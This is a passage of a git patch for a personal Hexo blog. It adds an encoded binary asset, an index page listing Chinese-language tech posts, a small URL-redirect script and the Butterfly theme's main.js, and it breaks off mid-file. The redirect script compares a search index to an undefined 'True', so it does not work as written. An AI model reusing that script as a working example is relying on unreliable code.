zG7jzlhO*5{Hi@owA}t@{Ep$U=`SSeTGrQj_KkRnODf?9(FuH#tQpx)E&gn0#J9VgS zKDTQgWI9J2d;Epml&?E&kcl1=R9LuSbCdndg_S$p5%(Kjc=vs--&HXVit=~6Rsaiq zB{zW-NxbaOZdgTmb`oVZ=SH>b1*5=-_8=$=B?3uyhMAcYQKaQ`G)lu@cx zQ$Ra%Am;A<0quH0x$@|gj$7$FT5^InKAc)pb3A>%`m@cZ&UklvvD@eP84S}Qj1o4H z5Bp36V~6LYDjgi$SFCLm0 ztA9^{{baZh9k2hx#;@r?T$(TOS58I5Hrx2U88|mO`m!>9@wh6+$>5qc^R-ZcXIBnH z>Hu_G6p4&tCPOoCE>T|r!vyrXBxjA9UL?*S8}(j1o=GRQjlx=VPqG6jlvjt(1UD4#P- z-WKUZXVAH%oWgb1?s!_6iej*oxZ#k_H5{YJ$wHM(I7P)J9aL%k^LU0+)Tb>H4XLJ( z{;%hvFPI_jUzJB@if8Cegd!g^nCHcEO8JD%l zzbjT(11ZQe1#)R$D*?H*rLEqX0~-aZRvQ{*!irXBe$+S zr@HmYUR!6c*8}F7fFW4clmhOjK@SKhxWdYCur6CB0|C5LR%Uk?WEF!$~ zQzZW19$u7TtKZ$8DZRc>>a|kp^{v!v9k{W7J-^Zbds|sQh^+o#SN$%c_r(6bjd0YV66_6Z4Q1|8Nz{4`-$P2 zsgb(*(Z)4EV;FDVnrz#g?gIDp0PMO2Db4*|fbYNdt02Pv&gSYiWOuIb6I-D~=GK3! zr@vQj`n{z8*Fo8TeEzj=^;2#FH0=83%D44J2%`mf0)+EzZ62@%_Rspl>iWXU+C1TW z1+6PU-U6?C?|@%|4*21{hxG-ZShN2V73 z#!&bPvvAB74`X-O3N@U~rhA*LX9Lk-2$M1hNu?n+)wLvzK)WOm| zY?s#s+WPGwk~Vf3#^jR^t3!PI1+K5La0n)Zj7+9gxvM0l`SVk-3w%&Z2+fGzO$d>Q zdSYdh8EUQ~WSwgk`ZOa6Q$lg`kyWm}RiT;TOt#hYOU4qrG0#nNQ4=g#AxW-DD7a4lIpjjgYS=7KMybesK13^PWAW9c zSWK4QtxC5Gt%`a%45?#AaxprbDw|ni_efadWjkLE3w-4c zA3r~d%<~ola|EU3v&EfEcnd{Vew!#gcHT0RyJZA+fV(HOQ&c~;(KqCa&b7c8vzA2O z^O|JZ6_HO_OYUfh?j(xZPrgP9G92#F{`}Rlxygp8?K{UVqr8z_$zaum3iA56?}!aI zGiMJE+ZXIKDa=XN*>Xm0@y#p(K^LXQ)!+6pFvzFYt%g-FU&wgP_rf?+SBUwRTjeZ= zmYa^wlp3~T_JuW_@|58BQ;|m}aXe*5C#sJd7TTXaRjl@Z+B?svrW$oyL+B7X(m_b* zHB=E%=^aEYAVmYBA_CGB6vWVbi*!Nh9i&N9kWT2Kih%UqK{|+cC8(d@KKtx@&pr3Y z-D4caJHpBmmYQF4y=%^A?m8ikzP-Da6r_>vjdO90GtyIEw2o}Odap{-D#F?LT5+jL zy2;BI#3ey#?W;?d!|JxV7J;PX*jpu8WgRjbslkPy@k2Bx5=>0>oH6U{2|aO`qyJ-w z?kn%lFi(nQHa&Mvjd6mvnbn7|aF4kp{{|Q7vhP7FN(}pi#LkB@UWGC?CE#p}hGgh=?5|Z^4k3 zi;#u{huT@R-=E+UF_O`U`em~*F%3cUxey<&K>3vkRrIC`%stKZ!7)2Iw7A)odg?Ag z-ZaTf7PTy?crbI_U3Q;xHUG%v+X!Nc=3akl(Lw46MkXj#dj)F!syL^p1Ow+1RbuH2 zBt&O)lJ-2PgwP2> zck#otC>E|6R;f5eZL7xMAZrU{NVbseoSG+2DKVL8T%Al{BSWIxoU&Y#1gQ^glrXqX z;4-LlzqOjekjU~Q6v3u=p2n{Kkaj-q&o`vS(k$<9zMc{H>t$)$}e6G ziywM5r(UsFw_(clI0Dl6N~q|gf21dQz)989FpvH}DZVrP*pV`et2uP@`_;JxvsXPW_Q-jL0e}P&f2Y&UM4uGd(O3a52pVHj^N zmq)a<-&_B1_TeJ;jpMIZ`nS!8a6Zh_yjW~9AP2LHmEIJ+WdU<3+=&U)h?T*2nZF(W z#B565qvnT{tzSEgw{B>!ep&!*B+44VcE-1X;c2}W5tNL2Jcf)$2Q0Y%Y@CKy^~`r; zQ6Hwe*+*rc#UMv(+>##|-TC7Ry|2D=I45=;@-5ckN0qi9U!U|sQFycFm%SNsH}F9PLJ&R^ z2wl}vX?4R*5*>~SYC`)`Dwoj+Z$y)Ta&o-ZM?&1_3S}OdNfJGO$eCP3(^quo zy8F@5_&>+5QiWAC^6G8|8Xr$Fc2_i?>)H%;J)Y*EtVD6B>24ukAJ6bzscbXo+KT>g zJPQk}?0BI2Eq>&9j-8VD=X!Vc?_#++#2E8L8|zU0`9vF74gywHz@ZAXZvj5Z*)Gfz z=j9EI{*hd9UxQ1Rp{SSJ1z)B?(93$W$0*tP>~ zG7H;t5Px_Y&cYZNuqCsYhS_jz!)y@7x&ZL5e%5mVL;)<_>My_*Hh%THl?$**V3+|| zF^kcj80P>68v9F!0tbJc`BUWnI{xiF_<0fRdCae14*rN`{ezDF-2(>v15W3c;{MIY z`hDfUADkA~{;SuH3g>@bgm8Kr@%NP0X%_;<%upYUF*CG80fn=`?F(=>gNa%7=L4hx z4Et*2L*Hl(P{1`bfgxReo#_~#?Vg8-8#otqu(|F6HdmmDYvXVa@Wf(l zvDoYH{JQ>k%mVlS^%o$P+y5QK^2_SoT17$%4hmv8?p+@Q9*3-DEgIn|(W6u(rYAqq z6av9A09c8Fs2Cv=T^i(gxNN7bvdsbHpQ9V{U@51qvfT>^pjFly`W)LT8$#LE>6cLE zfo+u?SEssD(@eyNX_b|RO^mD1)nZy@2jRHqiB#!4$iO#;CcLP{>2S&DpSo~*GcnUC zkg`YfO@L>8_|W1If3vBeee%gVaZXh@Ua-uRfzr#lh`u`J^MqgCFhWN&*rX+hvn^cD z%M>OMDhly)yApZd5AnQqpXoNZ&xO8@(#V%&jGW(!P$AMh7{LZ7q`L43 zj8I6jE@0Uo08?~#$>Qg^aO>F=Nb%(u;EUK^cvSjK*fF)DWEYlYT9NWvkjUlgtLzW? zCxvS!9O&goL{HCu%dROQq}DNY2PG^MIf*rR)m0LjJu+c}tq8t#AQ!aH6+{iJHN{hi z$;a7!Z?{jCb=t5qp$;C+0)x?p3;_bm=e==;x_s_;SnY1$N{vtD@sN{MP|9<7go@XA z_O9nvmmf`?SgopXnn9#!Ng^6oE^pT@GTPVQfE-0Kx%3lDPJO5x0N?-v=}K` zH34ehEMMp)Q}_66qeMuK3k_WF?>iw8<=GT>-Khyex@y$VI2`ZKOmBS$5X8d1q?9sF z?L4E7VWb*ajd#BD)W4c(7oOR>e6qzF$Iyp>dES+3WY{RVvvZx3<_6z}dkrHA>{zXC zTE!0PCm2sISy<+SnDU^)Cjlv_U(^e3bUCviL~GAMqD73P>_R((@kvDW z4Hf$Cr7@kz(AMK_?S|uzg+Hy_P!|bZ_@LwM?Z+>7N2MTHoOQnwQVWMrT!bhI-!6pG zdP4|4SyGeQfeC#|P&Dt=N%URP=&aL}Ph_Xa#Pq3L86V;_$f+s^_J@VM-S8)WFLOC; zr9SjT3!=)CF3Lq`c0cJA>g;<)R45o3;Io3_q}I5ka$7lUtqo*P%v&CqcQwd%g_!k= zj9O@a#H;CsX%+pleCWQ1tjtjDI3H3)dM+GlY5`$7N26+3ZyrnMq52+a*SEQ|phBGYS-(m_cE=Zk=Mp}o&m&VXMoMzGcQ`Z2W*P}fu@kw4Yr zTsm=^;0e!;pdO=2)1(r~}Y^+KCgiFEjL zxQTY3dmOlx>x};=0u# z5Not2>(jWFQPyCpd7U$G?3SoYgW%XcGNw0_O8AN}`Kx(|231c)LAfa5gA@q_LV&GcB*R#mMpxU-2&pM>*=8xW?jXde{dWA=KlnG79DsMPE6RUHwGafzaKO=hGdM#-8Im21v z`SRZCFgOVr!{tt?5A6EZmIFwh zk`IQt?;PLLb6@Ta-Xb)VKdB}oq!8kuUYI2S*Mw25@iW+|#9pMIAOnf8z6svsX6~G} zbMmg$tG>=*0^yrfS3&N z^lG~lJ^dsh9}lRpdOh$A9&TGa1Ab@`PGINqM2j6q4PJOKL0*C}o%)~{1VLwX#viEan!5oq3naXP{Kn5N1}4vn)J2`PbRP5%=_J z@n9T|p`IKFLhIKf3=dTaXym<&oYlcnj0i%Aovo8&BNMfuJjkff^7t4|2%4zHTdSO-lnYueU#xJ11m(Z(!*VTWs2>e~D{cSh=%QtYEio!Ss zuoAAcF|@oHS%r!L@=!JHZ)(~TYTM!)Q88`J$exDav1-Ip`I8L*-TG7C{wBuzPtRcAV*XQq{dHL1382YKtoKT7 z08jEhrm@WaXHPH2jN*jJ%>k=r;FbY!IAfA}r!l=#=LFU^0o-U{3=`474G3n_+>wCc zMF53u-GHq(*fV|+OSn^fH&ex`4I*~QGGO4do*5uG|{*}UcdgeW_Y9uJzN0{ z5KQ}XFd?xl^oJ1~JXl?w(E3&>LV9sHnuWL2I0}5`t#0CTh)(5pT+qV)JOY zZ;SfN1RFe!Sj%EwlxPAI6drHqNfdbhX7fW{mpAa}_88~g^QosLWp^t92* z+scdh$i2~?51|n^9_S6`=X}kGXAmZ<#H`M3-KJuVcHiO*5K-#lChv6~oJ0xt4Mvgl z+wp)%TXf|&LxSOVOM1#M@wA?=$BI5oa`TaAGO}T#ywA@aP@ud05UG)}7 zQmvL@+Y3rdb>6!yPjw~_NRRs})i&+XenW_REL7u(l8v{2BMO9#vxXK92-y1QQp za`R7X9^xpU6-wKSaE!B|M525~@x?EFx4(i1(NH~Mt+-$iKJyZ{gF{FeNnWB6Vnt+6 zK+yU?AzaeVd+dl!{eDCpJ<{{VSuw&vn#}-9E@e-?8Fqr}C~E3CJLeNB`~Y#2A;p_i zc2Hy=Q+Ht|mHu(KYudg)!JCQ;MhJX*W$Q^Hd5CBfdA=q2`AJGI6!inWB2SKoD)dss zNK>~w%2)oz%3WC(NL{??orDnlmx@EA?uWlT+vC%)MyMFT0SzOVFjF;(Py@T+Gr4!b zS&q2zCnn6S)T~jQfRi>Dh71keCgy^Y)M}KqgPX20_syxdkc^6jxo)eU)d;AedCnCu zYNg7xS|i^=DeNY!A(fh)x@tQ1isirw``1Ya&-`V%eA=!Xd;+o6@B?sgpxE&)2vH^QSX06egMK zhU%J(?lX$90(gy}KeTpPm@aM`e%@=|-Eyr>-n}8O#{Th2J@Gs7Z6-0{``^r6p`@>wboQl&!{PmZ|BULlFWq6(7n*4!mD`!oTUg64-FQTgBJrk+ANp z$R49NB%6ReF@{4D_k3f8Xu-gFlPR#HDE;KM2QNp4&G^J160AFqy!)4KyGL-o6JN7& z00*0H_Ib9ng~lK@<6Vv5w`vJ_<6n@(xUfDl+K9X++Jkd)<)JYP`-`c2#!an)HeVai zRo=Gc(x7Y;WR~$npnry4UB3NGC;!()>9p-SG+bklkPy{!l@ACqgLlSIMM)=N(;1PV zOPn!E{?5wJsS=D$o{kaeXo?KLZ@7~5Yk75kRtU}_lZN5chD3vPHk?TAhERR|Oof~ck|eahBd`7n*1*B)9G4zzVl7=YW2!w@ zVLZ`fB3$)q-`1Ss{-}_eukDAOVvGJ^Be5&K)x{DLC--cVXIdXBwj-GcJ(rt_o;*}# z4uX$z^bf{a8>T!CDTF;h2bbzd&NKK7+~TZ_WqD+oVoj0j#j`DaRyo(Yhu1+et%v)e z=39TpF!>?qAv5&OOr>cE+$k8GLU!xSGL@6*j-su?%$@V~%EeDnvQC^N%Zf{s(J~GN zZ2IJSd=PzUvaLcU^I)C+VO^gg{I@ar5%bFCje3F7+1b?*cibQ}j_g-CSnC3899g(} z5fl)xOp^U02!q6>bDC+JK_&=K+BkJ`F6Lx^<$YJ`@GN{@`Q#w8EQ2xPD;4z&T^qg^ zjwk=~CA9c|QCElI|Kcue|6M*i8D3Z|amLmg{Nl+1Y7Wy51`xJv{}6+}GGu^e#Podq z-247C9Q-sNV9#UaW@=V?Y;4Sk?ugps~0M zpz8uCG6NnX0KvFZkMU_d4k*U>^8RqR{9vSVXY>Q0pclvLrp6n_CK^X4o4!u9j7_yp zPPfg^bZpIa9{^tB*$xb+0eH4B)%>%219;%D*bn%MG3c+=(R~2=g~c!cp|``0DZo^G zurYJ6IRjXWG4dIM{+jy^&|onG)EmqLJqO3zOGkj9-T|D(0A*qQ0N^p~u3^9oJF5T{ z41hFXUNN(FxQDSK14%f{uKG860js!witfKP?E(R~e=)xs&Hhnq|Ht=$d|v!_l+P~* zZh{%|4U?sB77rxYt!_~8Yi2xgQIy>h<&x* z>VDtDRe574?Ds71)jCE#YhAX}IC>h{A^(D*yXK-Dew20Rg|qs`e9CKpha&{8FYLH& zlLqD%T6r+xPVB9yi=gMnYxSUF_Q&BP6DPhZ7NVS$?41;Rms6=psCd$!_4$6XLN%Y_ zR3Ocu!<78=_4=t`LdBHMfC^Um>Ci(?c`~m}r~2veLotWxr!9GEGsr1USi3_qU+qlf zs*3pdgV`+g+2|?G6q5&26D_l`6XZ$Y2c3KxbMXzWaQ6F6$}Iqz_Wj1py|Rz;^KW{e znST*5A@prXR;kqfDx6hKTu;Wu*v?v??rW1(QSY0r%KsuV+MSx+N= zvN8_o(D)3VB}LH_-%jZL+;~W>wwZXZ)e_DoSQ>C0A2P*CJ78SL9v3aGbMfeg4Kmt$ z+XC)PM>5;w7H&l?zweL@Vh|Yxy$-lNXUJlk+d6Zmt+H0rGv<6#anPFSa$9chhbK+6 z@2WF0vT0U3X{AqR?R(y8 zY~*Wg)oc^e=h<4C(Kh%_sN6`y7}D$}o@yBZP4CR8${OU6^O8mIwB+5eL%X)sstc(V z`#2@}Tlh&Bx5{<$fRG(q=_YRstGUVi5y*VglINY%xKU_x^V{OFI;o&QZ+)jbvlZ1- zII+hJj3*UOmG~MUMHbf>`ChD_!{M#azQ_pmDe25E-Y51BeooSM1uZVkv?eS*T zLP2j=NN%kXmGVBjuL$%B^l*J>9k7~Tms_Wv)Zzq~NY^T2E(1TFql6TVI=S#x9EFLnZfp%WP z(>NCxQ+sf=o9oL26NtG^(qm!DbBL@#4d0`FTzCVTyTI`sWKUD$BV@%+ON?v0@ZsoT z+KUr8x+Jw3-iCw3Go^(*dq z@eo)jMG(`4|9q^}U#x2gAahAzcW!F=t5S@=_#di<%S3VK{@gh)Cn(myT2ZRnAL z>a-2SO(C&jq}Pw9H}@AJjFkmJ_STdXnPp1+hcKwTbu!fjMP-eGNvOH-(vrp|Rscj9+k+#HtH3`M5o}@yVc>ffK^|Wm0Tm-kyV=S` zu)Y40hV`DBY(V|p=N8P!kLemzQ5xb=>uw9i8S088@;2^ik>aIyG->2{N$8MQ=uceO zrBh+mOGOf{Z;#dYEEq3Ep+nuu+rO?M<8&W~db^Nlk7-Jlr;?7+8YZSf)ibE8aNg*0 z=iE))1W|v8HVjsuwfH;@F`#K{O=IbhBS8zawFR(=*!vev`U{2Yzxpn0=lg{Uw(47M z6sZKWk)XPAZjXh4OVRcv|7(}$ZPzE0bZlI|(7V8H-PpCen(EM#?UXeQ6E zO?%;=^@mVM;v(B;srPQp7?uT3C%q0qTYT{hKo>0F1YXk;(76E7L;0lS*_?!d%XaBI zo1b2O9osG^?>e$kC~pUF$sT{}^RJ5ZDsM>CrI?0{&iH0lJUw6F*pP}a{(7&dFJ0Gm zoWOV<0=IE4vUr+~M^>Y5{;^&``HsKO*m!B}JJ+IBCsURi+c^xd4tZNkQ@e~>|Id{P z%;2Z4?Zgd{LS@8B`S8Y`uhnfhHQwh5zexuPG>w|qM+mQ*TO|*oNQ1<@B&{DX;lUbY z>y1O0>~1}fj+?vr#3ag|z?Y1Hv||*K?Q>TFG3g|k%MUM&X;t;ok;d`2;nBYTy78(4 zULeJYHZC*0j;L?PJ3M(A$yu~Oi$Lp0-)6e9??g{}9O~z!vs5?A8V&o=+9^ zpX=ve8vAsWi{1EQ-5J>P+r?H}#g71r1CYO)cyITm%%Q9NX=CNH>MB=2KmQZJ7)C84 z{$Y<^@X7m>C~(bdZg=Vdkcq?0Pdpn2 z!`7dFI9Q17-hF>KQnmlJW_P@PW1?|>vUwa+#?Ue`-MT#8_6@^tXg|WH-hkJ`nfCqJ z&h0t$`a=K8(&we+;ltph$r^)u@LU;kt@-Osru^u~<9K*bmJ7MRE8g zR!=cw|Jm!WpZfLvpIzbCpJBfPiucpMrQ#Kiwu($s^1=UZhBJxlb?GHOwXEdQfK-o? zvxYc6s*ZqO(v$40Zot+vwPc2sMI>tLhZV?11MhDwtXOiVKQ^vgK8_&gL6cT zxQCwsP`n;Obj2Y);MMwCUoPe$4=xUfawi8Ya>4v1jZn;#Jkon(D&)9x!w<%vVvZXs zzt!T&IR=wa4_DuE_7Ga)hAJTSnp^7mI7VoBjE_S7a%LkBrnbTfp7h!m(}gN+JDNr8l3 z-=N4jJS}cx-|f8RH`WRqlKC8kO`U0KsfTSw+tRB7iB{B*_qmjLQgs7a^&3UE`sGkk znU~*6wGCwvA_retUdsXDdwsN~Z?tJ3X~6eT2L+wZ4F*T? z5B8tgo|FkK#NkXu1$~YSf9#UTfrOFtNWAHoX_Yu?X9a1wF&NaV+m>Gdb<0V5~3l>=JW1k+uBgHmv=AdvAfnZ@fby65`l<| z!b|pS0+z#b)#v?ZnA+~bnT9vyqK{J^OILW(m!W+KJ(Zu+SiD)6_w=I@@1_tjYZ@vD zC!laoe)(g>pI008@tn7}Z--Knrk=edO=&pUiKwL6(UM=o?2T}!gpfItbqi9zbcKLs zB0)$zxlw$g4(gm`4n7AMm_zNj9~j4ig*J#ZN>eyY8H2xJ0)<_pB11hIs?nHCuAr~NmSMphQjbd> zijx7hE%fT3wNR5+SJGt{j}WPBej7T0x_rX}LAX7uO2>#Iq7nDD)=Ssy<U+Z1v?t`*wph*ihW%k9=%|J8TGfo^x%k;u8F{(s z8)@{^32(mX(o`RHCMODhi4R)gFYV9Qg%o&w-Lm|w89A}``lI80trP;z(A^LM>Iv2+ zc93jOfCP`{6*&A3Eaq%QBxy@H>^YQ$rrh=OwngbRJo+e4ru3ioTz@RYf3ki zF7&wW;Z*){HAI-&f9YnjGAIesVSQJpuNsXEc1k~^eeXhh*jRk}i})rBrw}B;AWg|f zh=z?-gwLI1I)l=VCxtSe9;V$}GL2(=Ae(3DcOQGF#On;I2w4gk3qAcpP9j*mzP#cw z(;Q75K(EN=PX@g*a#j(glA8DRq?^p0Gp43__aY)B=v<29$Q}w&<~V8nxar%iN)x=~ zhQv^Cjb=J&!e`r^axZu- zFQwDjvf0`mIgE{X%9p(OLTG*K$TO2bmEJkf<{93rudS-*V6n^Agv!xEM*!<0UT?t$Mc7g8eOQ+q-~$D8){#QwJUaa7b|Q^dE1;Jx~Q{ZkSg;Do@CB>b=}IV?yHV}ron zUI5Stp!e-BU~$%AZ}!h6F3@89x#VEz{r;D-)h}gpU&d;tgZ;U8=X%zhVm z`|HdB;Hx;bDQ{v>yt``vH|-eE;M>a>XU4b1{cj7qK(Pcs``w(~+nm|kn8F~~*2aO& z^x?_~K)*O%9K;aZFr90^_`(alzz!R@4*+DZ$G@fQRWW#cCsQqi>I?**7@ef(OC@Gi zx;QS=qx|l>mol*?0=wuP!`DmE-Laehc%M?Aa~uQMy?uPO+Oo|oaC-Ye)!zE}j}saF zn2WPgS3Cj{K(%hw8=dlYzhKqC@WWl8qG2Sioi%hS#J3jpoK6LZDL4-^Q*l@xN zpFYC>JgH`5k{70fjM^{UfKzE&$l^QC?bfz&IJUWPI!HU-c5&wgQ~ z*LhX^G@j_GH$O5r&!6gM_q)nDCPT?0nxIA6_n^7l;$mjdP$7D*D(nvG=IckaQ`_lT zWtBAb4DToAGy`vciGH0+J2123U)5;!%s?uqJ}8^ky!U-T_2w{lJMHnwuyT$46B<}i z7@AwFn8{FYYm!0kiNT1yDo2j;>eL;up z)>uuL?rU;?t$}~$shnb)+}HU2P%ei^vjb)aL(dRh9A5Vsx*LWbP4p)IX3v;xOTCcX zndR=4g6At&4}9Ig^~Ah;hV{P7A7jikG*&BmJ}f&}+g=+ext6KM8RBFfmW!WQ(!BBU zhX{?djox|{*E#MViL~yFQ>f_(K{~(Pf_G*v>d2&ZSs^JEJny|v3b@3O@Re`6AE=Ag z+?O4QNrX;5S4lBm;aS*Vq0WF`(A`&Jt3;u;iCtv(U(C4Cl_u<1q)6oocaa*PK@3$0 zUm2GfRwlWxgcro?z=U=@Gm1>qihcytPt9B&ZTJi7Tb^HghR<>$r_81!GYC7PHg`&I zpTL!x`a~CxhT?&zs3uhqRQN6a>XK{(F|iRm_csFA0w9zR#VO6XIdFN=-C&gmN~}vT z|4S>xRL>R&<2!WpAIx|}Tw<)Jj^6NAFyT}yj;Uv8<6?P1ic5)reHxeS)mDN}tghiI zkZhqn+3Vmy!!^=cZcFpVan$#X%*!VVjX^)~pmf(PYvUQS11+tGXzS-?P-4oj)~>x( zA68S)?!tezs)0k=-sn!LH})Hl*W0|^_TW(0V`>#>KukW5ha3(t2_?_==I;l zv6H+x3UsFRCGf*p0N3#@?y;c*LY<716PI*7+d%acyw6W?bkAIo*M3@MX&(YTJIR&Y zD%GgqD0{W>cyO^Bid#T6j~qR8sSoq5dHDG5RX>%lPGKdedJ-0?zHro5X}D1<$wSW9 z8u@horPrO(uWT_HHRJa2s?Z5@gL>VcL*p`hSe2WodwV@|)2tRq zl#GMY6LON_MJlP+2dFNOdRFAoWRVQo1!-1ma;Sc6Vy)%Mb#mB^R?L#R?C!4x9w&Ws z1(lxdl&)(CjW*bby&*!joa^i&5R*-MQ|4x(Ru#ojW<>M72f+kgca|YR1*B!fp;7G@ zAuKqlV@;XQUc}xWt25MGC7|{U5xi4irkfMrChE9zvea_oY4rY(GsoRb_*PJo_z-fS z)H6H(TDl73Eks$y^C3aAVzVz%vL1?l8d17IaG}OgXnyPKd~;vs-d2%0)2}{YUg_t= zt-+t)`qk#Ue2E)tL)5$a>#bXiEuYu5%wSJ+HKtw3U~-rku(IFMmh^t~{!(PO#Hf@J zM4Keud8W?tN>+hGAeV$n9~z zDGKo~?CPn5^*T9lHvJTTC{P6;@GlM4!7u)|J05QTW3}$n+~38x|6tzDa8|=S_Aht* zR`F!B;^}&&^IE0LO4aj~D%aI2*R?9wjVjlzD%WpSuDc&!?$!DMSc%i8;s@>Vm^tmt z1+s0x))o*~z`hnxS-_KX;Q9H_#ce2-;03I2e^GjYivVdiV1xUU{)Hv;0+t8N?iOg# z1>kBx;0-eX5n`wO$#%KZR+-~Qnd91fdtg>e?N&=4ua?@bm0)JQ#0Hqn5}R)&HajIY zyFa(H*tISur3P$ve~&dbIQM^AHujfX|I3eySr7kj2czdtEf~L)_TNpt*ehTIdq0&w zMneB7q#rJ0A-}+S`0IOnU_;zr<^<4w0Z3a_m0QuDcs9UN@zYH4`{3uc7?8?9F0Q&Q zzOFr?t@G_bSMp?c>LxmEA4or*4nRjcbuM6R3-1mFi}r^~cfXXcd?}wFE?*q3*ch(d z82PaEwR&gl)81I^{zStepmnEOj<9_am}T&6=OI?&9?YQudM{8TakS8XxHxc#sVf6m zXh37xFdz#7aR^96fQ1GidXItj2#jF?>sHvBKi&pdXqde(ATm!IATXd_Ogat|ki%9% zU>Cg@R{~)6{Z$C@)0MD;-RAyj|NXD(G1mdb;Vem_a0p11#Slk69y2VLM zEt4r}Y32pnhL|ZWRd_b~aEKe$OR(^ywR>`A$Z!yRja1hY8D-@FrCRLcYJHH`wh*oM{fx84H9V+l#&1k;(x!MYxn zckAF^EK|b-=7Q2*>9-9@#NHpaj0*7SOU!(8DT38p9jPe*o?#_S%Q?w$fE&UJ2Mxt;7%hV*@TENpKOk{pMNy<=L3fr$KMUolyYzh)>?75}y)#xDw_2bx zr&3p5pOW-hVg@q8bDJ+sa0SP-w<+iY>LzoHY-+FZBf9>6pZuEP!6?z%!b?}vOd6_k3i9JnRq}7X=%^!Mo+c8?k($(nwEs^qzi&gi;1f5fjT+>2MBvrnLwl;K43Bs%`WcApdoFyoH2IaKTrlxvb!AAEv)o2N zn48};n_6130@@x870w&oc2FcYYc(TvsBNIb$7O@yD|nx9S>x~5`zdN=*+GSZCns+Y zQFF7~`pN_tCv0#KUGBi8l>2Cg#HYq55J!6y2f$_8=BRjYZ$O!XIcXp3E3qFa1fA=L z6yxJ~?RQd2?>4+WAx5f_gV0b=@TBf@-?IX1RFsY`(BZ<&i)+uiy{84wE{6_LZ#Qj( z$p8f34TOqPThWVElCh0I=Z`a!@1A*j-6mrwr{(j|*T%E-AW^&-G5RnZdERVTaG>;Z zAinsEcgrNiPvdxSUDjgqSrV@_t8~EPv;f~Rn~1YR>3u5_JXR)?Nj{+b`2?R~uwP$5 zzPLPv4w`Vw-0)Vdhc5pnNSMzmGrY}--mg_cUE@SuOK^>eiz={T(zWb+v8?y>8iznZ;o_DF)|*Kh1m5Vf z(nsm55x7i!Al=wvqI4S)zZPp!_OP;ad%2J<<*&%#r00INkFRE3eTyer8R?YW(8^-c zR&*^3H2>6L^Yx8;Dlra?v^m1*S~|(h6;)Z&xpF$5!)qyIS(*bP8Du#)&u_(8IJKp9 z54Y#SmpuEwsIXZYJ*2CziV2M0&UZEAQM(4aR_&ik$a)WS5%*f~hp`e%j~;=`7vPK} zjC6#wLfYp&pIpJ!E`#-FS;@TJkZ!zQmZ+|B(ve;tVA!}&U;L>A$6~muopS$%*xmQ+ zF+AV;$FC+8g;wUTv>C-&WZkrtsRm0$4wv!G+>n^!P#Cd54|f(S6d$0`;}AD%-=}gzfbwg7j76i1EQCKCblQcMB+P5i%Z?m$xpbAh+3T3U jboAe8eMkm`<^`Pp`TCzv;D0`W|M>*|=M(t<=o9!~nE>>- literal 0 HcmV?d00001 diff --git a/index.html b/index.html new file mode 100644 index 0000000000..ca081177b1 --- /dev/null +++ b/index.html @@ -0,0 +1,375 @@ +GamerNoTitle - TECH OTAKUS SAVE THE WORLD + + + + + + + + + + + +

杂谈:为什么我选择了复读
为什么我选择用回了Valine?
从外网访问Windows服务器上WSL的服务
Beat Saber 萌新踩坑记录
利用ValorantAPI开发商店查询网站
把群晖打造成BT自动下载服务器
在小霸王电脑上安装黑群晖
我被微软算账了π_π
记一次更新服务器Python的过程
防止你的Telegram被垃圾私信轰炸 - PagerMaid-Pyro 部署使用
\ No newline at end of file diff --git a/js/301Redirect.js b/js/301Redirect.js new file mode 100644 index 0000000000..21438abe14 --- /dev/null +++ b/js/301Redirect.js @@ -0,0 +1,6 @@ +url = window.location.href +whether = String(url).search(/20[0-2][0-9]\/[0-1][1-9]\/[0-3][1-9]/i) +if(whether == True){ + result = String(url).replace(/20[0-2][0-9]\/[0-1][1-9]\/[0-3][1-9]/i,'posts') + window.location = result +} diff --git a/js/main.js b/js/main.js new file mode 100644 index 0000000000..2e29ac8605 --- /dev/null +++ b/js/main.js @@ -0,0 +1,778 @@ +document.addEventListener('DOMContentLoaded', function () { + let blogNameWidth, menusWidth, searchWidth, $nav + let mobileSidebarOpen = false + + const adjustMenu = (init) => { + if (init) { + blogNameWidth = document.getElementById('site-name').offsetWidth + const $menusEle = document.querySelectorAll('#menus .menus_item') + menusWidth = 0 + $menusEle.length && $menusEle.forEach(i => { menusWidth += i.offsetWidth }) + const $searchEle = document.querySelector('#search-button') + searchWidth = $searchEle ? $searchEle.offsetWidth : 0 + $nav = document.getElementById('nav') + } + + let hideMenuIndex = '' + if (window.innerWidth <= 768) hideMenuIndex = true + else hideMenuIndex = blogNameWidth + menusWidth + searchWidth > $nav.offsetWidth - 120 + + if (hideMenuIndex) { + $nav.classList.add('hide-menu') + } else { + $nav.classList.remove('hide-menu') + } + } + + // 初始化header + const initAdjust = () => { + adjustMenu(true) + $nav.classList.add('show') + } + + // sidebar menus + const sidebarFn = { + open: () => { + btf.sidebarPaddingR() + document.body.style.overflow = 'hidden' + btf.animateIn(document.getElementById('menu-mask'), 'to_show 0.5s') + document.getElementById('sidebar-menus').classList.add('open') + mobileSidebarOpen = true + }, + close: () => { + const $body = document.body + $body.style.overflow = '' + $body.style.paddingRight = '' + btf.animateOut(document.getElementById('menu-mask'), 'to_hide 0.5s') + document.getElementById('sidebar-menus').classList.remove('open') + mobileSidebarOpen = false + } + } + + /** + * 首頁top_img底下的箭頭 + */ + const scrollDownInIndex = () => { + const $scrollDownEle = document.getElementById('scroll-down') + $scrollDownEle && $scrollDownEle.addEventListener('click', function () { + btf.scrollToDest(document.getElementById('content-inner').offsetTop, 300) + }) + } + + /** + * 代碼 + * 只適用於Hexo默認的代碼渲染 + */ + const addHighlightTool = function () { + const highLight = GLOBAL_CONFIG.highlight + if (!highLight) return + + const isHighlightCopy = highLight.highlightCopy + const isHighlightLang = highLight.highlightLang + const isHighlightShrink = GLOBAL_CONFIG_SITE.isHighlightShrink + const highlightHeightLimit = highLight.highlightHeightLimit + const isShowTool = isHighlightCopy || isHighlightLang || isHighlightShrink !== undefined + const $figureHighlight = highLight.plugin === 'highlighjs' ? document.querySelectorAll('figure.highlight') : document.querySelectorAll('pre[class*="language-"]') + + if (!((isShowTool || highlightHeightLimit) && $figureHighlight.length)) return + + const isPrismjs = highLight.plugin === 'prismjs' + + let highlightShrinkEle = '' + let highlightCopyEle = '' + const highlightShrinkClass = isHighlightShrink === true ? 'closed' : '' + + if (isHighlightShrink !== undefined) { + highlightShrinkEle = `` + } + + if (isHighlightCopy) { + highlightCopyEle = '
